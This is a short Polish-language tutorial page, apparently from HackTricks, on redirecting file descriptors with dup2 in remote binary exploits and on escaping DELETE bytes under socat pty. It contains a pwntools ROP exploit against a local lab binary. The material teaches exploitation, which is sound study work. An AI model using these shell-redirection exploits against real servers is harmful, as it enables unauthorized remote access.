Common Exploiting Problems

Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

FDs w Eksploatacji Zdalnej

Podczas wysyłania exploitu do zdalnego serwera, który wywołuje system('/bin/sh') na przykład, ta operacja zostanie wykonana w procesie serwera, a /bin/sh będzie oczekiwać danych wejściowych z stdin (FD: 0) oraz będzie drukować wyniki w stdout i stderr (FDs 1 i 2). W związku z tym atakujący nie będzie mógł interaktywnie korzystać z powłoki.

Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył numer FD 3 (do nasłuchiwania), a następnie Twoje połączenie będzie w numerze FD 4. Dlatego możliwe jest użycie wywołania systemowego dup2 do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, który jest połączony z atakującym), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.

Przykład exploitu stąd:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Należy zauważyć, że socat już przesyła stdin i stdout do gniazda. Jednak tryb pty obejmuje znaki DELETE. Dlatego jeśli wyślesz \x7f (DELETE -) to usunie poprzedni znak twojego exploitu.

Aby ominąć to, znak ucieczki \x16 musi być poprzedzony przez każde \x7f wysłane.

Tutaj możesz znaleźć przykład tego zachowania.

Last updated